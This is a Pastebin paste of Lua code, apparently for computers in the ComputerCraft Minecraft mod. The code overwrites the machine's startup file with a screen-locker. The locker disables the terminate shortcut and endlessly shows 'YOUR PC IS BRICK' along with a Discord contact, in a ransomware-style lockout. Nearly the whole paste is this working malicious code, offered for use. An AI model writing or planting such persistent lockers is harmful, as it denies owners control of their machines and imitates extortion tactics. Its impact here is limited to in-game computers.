Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local file = fs.open("startup", "w")
- file.write([[
- os.pullEvent = os.pullEventRaw
- term.setBackgroundColor(colors.blue)
- term.setTextColor(colors.white)
- term.clear()
- local width, height = term.getSize()
- local message = {
- "YOUR PC IS BRICK",
- "TO AVOID THIS USE NEW LUA",
- "(contact on discord leprofourbus3005)"
- }
- while true do
- term.clear()
- -- Calculate the maximum width of the message lines
- local maxWidth = 0
- for _, line in ipairs(message) do maxWidth = math.max(maxWidth, #line) end
- for i, line in ipairs(message) do
- local padding = string.rep(" ", (maxWidth - #line) / 2)
- term.setCursorPos((width - maxWidth) / 2, (height - #message) / 2 + i - 1)
- term.write(" " .. padding .. line .. padding)
- end
- os.sleep(1)
- end
- ]])
- file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement